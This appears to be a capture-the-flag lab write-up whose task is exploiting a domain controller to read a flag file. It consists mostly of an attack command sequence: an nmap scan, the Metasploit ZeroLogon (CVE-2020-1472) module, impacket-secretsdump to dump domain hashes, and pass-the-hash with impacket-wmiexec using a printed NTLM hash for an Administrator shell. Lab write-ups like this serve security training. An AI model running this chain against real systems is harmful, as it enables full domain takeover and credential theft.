Description:

Examine server security, determine the software version and check it for operating system known vulnerabilities.

Discover a known critical vulnerability and exploit it using the `metasploit` framework.

Flag is located in `root.txt` a folder on Administrator desktop.

Attacking

```
# nmap
nmap -Pn -n -p445 -sCV -v --open 10.10.0.45

# and msfconsole ZeroLogon
use auxiliary/admin/dcerpc/cve_2020_1472_zerologon
set NBNAME DC1
set RHOSTS 10.10.0.45
run

# Dump hashes
impacket-secretsdump -no-pass -just-dc 'sandbox.local/DC1$@10.10.0.45'

# Bind Shell of Administrator user with empty NTLM
impacket-wmiexec -hashes
aad3b435b51404eeaad3b435b51404ee:c263e573945cdc50d44f08ad17fd9b52
'sandbox.local/administrator@10.10.0.45' -shell-type powershell

# then execute
type C:\Users\Administrator\Desktop\root.txt
```